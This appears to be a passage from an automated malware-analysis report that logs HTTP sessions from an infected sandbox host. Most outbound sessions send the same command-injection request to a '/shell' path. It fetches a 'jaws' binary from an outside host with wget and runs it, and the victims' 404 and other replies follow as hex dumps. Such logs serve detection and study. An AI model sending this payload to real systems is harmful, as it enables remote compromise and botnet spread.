Apr 14, 2024 04:00:12.798789978 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:13.034209967 CEST	86	IN	HTTP/1.1 404 Not Found Content-Length: 14 Content-Type: text/plain Data Raw: 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a Data Ascii: 404 Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port
977	192.168.2.23	55478	95.179.150.90	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.881253958 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:13.197165966 CEST	500	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:00:13 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 271 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.52 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
978	192.168.2.23	48228	212.237.177.195	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.893366098 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:13.246191025 CEST	322	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:00:13 GMT Server: Apache/2.4.58 (Fedora Linux) OpenSSL/3.1.1 mod_perl/2.0.12 Perl/v5.38.2 X-Powered-By: PHP/8.2.16 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 36 0d 0a 74 65 73 74 32 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 6test20

Session ID	Source IP	Source Port	Destination IP	Destination Port
979	192.168.2.23	38666	129.28.53.189	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.937604904 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:13.316489935 CEST	449	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:00:12 GMT Server: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.3.9 Content-Length: 196 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
980	192.168.2.23	54726	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:13.063261986 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 30 39 3a 35 39 3a 35 39 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 09:59:59Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
981	192.168.2.23	54740	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:13.251385927 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 30 39 3a 35 39 3a 35 39 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 09:59:59Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
982	192.168.2.23	39792	200.10.37.35	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:13.402621031 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:13.643297911 CEST	413	IN	HTTP/1.0 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="login" Connection: close Content-type: text/html; charset=utf-8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 68 32 3e 3c 68 33 3e 41 63 63 65 73 73 20 74 6f 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 64 69 73 61 6c 6c 6f 77 65 64 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 6f 72 20 79 6f 75 20 6e 65 65 64 20 76 61 6c 69 64 20 75 73 65 72 6e 61 6d 65 2f 70 61 73 73 77 6f 72 64 20 74 6f 20 75 73 65 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>407 Proxy Authentication Required</title></head><body><h2>407 Proxy Authentication Required</h2><h3>Access to requested resource disallowed by administrator or you need valid username/password to use this resource</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
983	192.168.2.23	57142	45.207.81.150	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:13.497160912 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:13.833551884 CEST	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:00:13 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
984	192.168.2.23	57380	45.207.81.150	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:13.522053003 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:13.840555906 CEST	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:00:13 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
985	192.168.2.23	58594	34.160.109.225	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:13.573393106 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:13.896861076 CEST	1289	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: ABPtcPpJURBo2J1GLaYaY_bDHk9FZTpYJ8hXkk1uwoeqXEIffr6pPU5NMTa4W6jJrR_0nkenbE9TAvI-Hw Expires: Sun, 14 Apr 2024 03:00:13 GMT Date: Sun, 14 Apr 2024 02:00:13 GMT Cache-Control: public, max-age=3600 Last-Modified: Wed, 27 Mar 2024 15:51:01 GMT ETag: "59d1a1dd85e259184445bae808590900" x-goog-generation: 1711554661305565 x-goog-metageneration: 1 x-goog-stored-content-encoding: identity x-goog-stored-content-length: 1266 Content-Type: text/html x-goog-hash: crc32c=607Ttw== x-goog-hash: md5=WdGh3YXiWRhERbroCFkJAA== x-goog-storage-class: STANDARD Accept-Ranges: bytes Content-Length: 1266 Server: UploadServer Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 38 30 78 31 38 30 22 20 68 72 65 66 3d 22 2f 69 6d 61 67 65 73 2f 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 2e 70 6e 67 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 70 6e 67 22 20 73 69 7a 65 73 3d 22 33 32 78 33 32 22 20 68 72 65 66 3d 22 2f 69 6d 61 67 65 73 2f 66 61 76 69 63 6f 6e 2d 33 32 78 33 32 2e 70 6e 67 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 70 6e 67 22 20 73 69 7a 65 73 3d 22 31 36 78 31 36 22 20 68 72 65 66 3d 22 2f 69 6d 61 67 65 73 2f 66 61 76 69 63 6f 6e 2d 31 36 78 31 36 2e 70 6e 67 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4d 61 74 65 72 69 61 6c 2b 49 63 6f 6e 73 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 2f 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 32 3f 66 61 6d 69 6c 79 3d 48 65 65 62 6f 3a 77 67 68 74 40 34 30 30 3b 35 30 30 3b 36 30 30 3b 37 30 30 3b 38 30 30 26 66 Data Ascii: <!doctype html><html lang="en"><head><meta charset="utf-8"/><link rel="apple-touch-icon" sizes="180x180" href="/images/apple-touch-icon.png"/><link rel="icon" type="image/png" sizes="32x32" href="/images/favicon-32x32.png"/><link rel="icon" type="image/png" sizes="16x16" href="/images/favicon-16x16.png"/><link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Material+Icons"/><link rel="preconnect" href="https://fonts.googleapis.com"/><link rel="preconnect" href="https://fonts.gstatic.com" crossorigin/><link href="https://fonts.googleapis.com/css2?family=Heebo:wght@400;500;600;700;800&f
Apr 14, 2024 04:00:13.896876097 CEST	672	IN	Data Raw: 61 6d 69 6c 79 3d 4f 70 65 6e 2b 53 61 6e 73 3a 77 67 68 74 40 33 30 30 26 64 69 73 70 6c 61 79 3d 73 77 61 70 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e Data Ascii: amily=Open+Sans:wght@300&display=swap" rel="stylesheet"/><meta name="viewport" content="width=device-width,initial-scale=1"/><meta name="theme-color" content="#000000"/><meta name="description" content="Web site created using create-react-app"

Session ID	Source IP	Source Port	Destination IP	Destination Port
986	192.168.2.23	58264	107.186.169.35	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:13.583168983 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:13.762852907 CEST	1289	IN	HTTP/1.1 404 Not Found content-type: text/html cache-control: private, no-cache, max-age=0 pragma: no-cache content-length: 1236 date: Sun, 14 Apr 2024 02:00:13 GMT server: LiteSpeed connection: Keep-Alive Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 34 37 34 37 34 37 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 35 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 20 3c 61 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 66 66 3b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 6c 69 74 65 73 70 65 65 64 74 65 63 68 2e 63 6f 6d 2f 65 72 72 6f 72 2d 70 61 67 65 22 3e 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by <a style="color:#fff;" href="http://www.litespeedtech.com/error-page">LiteSpeed Web Serv
Apr 14, 2024 04:00:13.762871981 CEST	187	IN	Data Raw: 65 72 3c 2f 61 3e 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e 63 2e 20 69 73 20 6e 6f 74 20 61 20 77 65 62 20 68 6f 73 74 69 6e 67 20 63 Data Ascii: er</a><p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
987	192.168.2.23	41808	66.11.137.84	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:13.719016075 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:14.597624063 CEST	1220	IN	HTTP/1.1 503 Service Unavailable Content-Type: text/html Retry-After: 3600 Server: Microsoft-IIS/8.5 X-Powered-By-Plesk: PleskWin Date: Sun, 14 Apr 2024 02:00:14 GMT Content-Length: 1212 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 4e 69 6b 6f 6e 20 2d 20 43 75 72 72 65 6e 74 6c 79 20 55 6e 64 65 72 67 6f 69 6e 67 20 4d 61 69 6e 74 65 6e 61 6e 63 65 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 23 6f 75 74 65 72 20 7b 0d 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0d 0a 09 74 6f 70 3a 20 35 30 25 3b 0d 0a 09 6c 65 66 74 3a 20 30 70 78 3b 0d 0a 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0d 0a 09 68 65 69 67 68 74 3a 20 31 70 78 3b 0d 0a 09 6f 76 65 72 66 6c 6f 77 3a 20 76 69 73 69 62 6c 65 3b 0d 0a 7d 0d 0a 23 69 6e 6e 65 72 20 7b 0d 0a 09 77 69 64 74 68 3a 20 34 30 30 70 78 3b 0d 0a 09 68 65 69 67 68 74 3a 20 32 30 30 70 78 3b 0d 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 32 30 30 70 78 3b 20 20 2f 2a 2a 2a 20 20 77 69 64 74 68 20 2f 20 32 20 20 20 2a 2a 2a 2f 0d 0a 09 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0d 0a 09 74 6f 70 3a 20 2d 31 30 30 70 78 3b 20 20 20 20 20 20 20 20 20 20 2f 2a 2a 2a 20 20 68 65 69 67 68 74 20 2f 20 32 20 20 20 2a 2a 2a 2f 0d 0a 09 6c 65 66 74 3a 20 35 30 25 3b 0d 0a 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 6c 69 6e 6b 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 6d 65 64 69 61 2f 63 73 73 2f 53 74 79 6c 65 73 2e 63 73 73 22 3e 0d 0a 3c 2f 6c 69 6e 6b 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 66 6f 72 6d 20 6e 61 6d 65 3d 22 63 74 6c 30 30 22 20 6d 65 74 68 6f 64 3d 22 70 6f 73 74 22 20 61 63 74 69 6f 6e 3d 22 4d 61 69 6e 74 65 6e 61 6e 63 65 2e 61 73 70 78 22 20 69 64 3d 22 63 74 6c 30 30 22 3e 0d 0a 20 20 3c 64 69 76 3e 0d 0a 20 20 20 20 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 68 69 64 64 65 6e 22 20 6e 61 6d 65 3d 22 5f 5f 56 49 45 57 53 54 41 54 45 22 20 69 64 3d 22 5f 5f 56 49 45 57 53 54 41 54 45 22 20 76 61 6c 75 65 3d 22 2f 77 45 50 44 77 55 4b 4c 54 51 30 4f 54 59 35 4f 54 49 79 4f 57 52 6b 63 4e 41 41 46 70 31 6a 61 37 4a 70 71 37 77 58 6a 39 68 75 4a 6a 4f 54 42 6c 41 3d 22 20 2f 3e 0d 0a 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 3c 64 69 76 20 69 64 3d 22 6f 75 74 65 72 22 3e 0d 0a 20 20 20 20 3c 64 69 76 20 69 64 3d 22 69 6e 6e 65 72 22 3e 0d 0a 20 20 20 20 20 20 3c 74 61 62 6c 65 20 62 6f 72 64 65 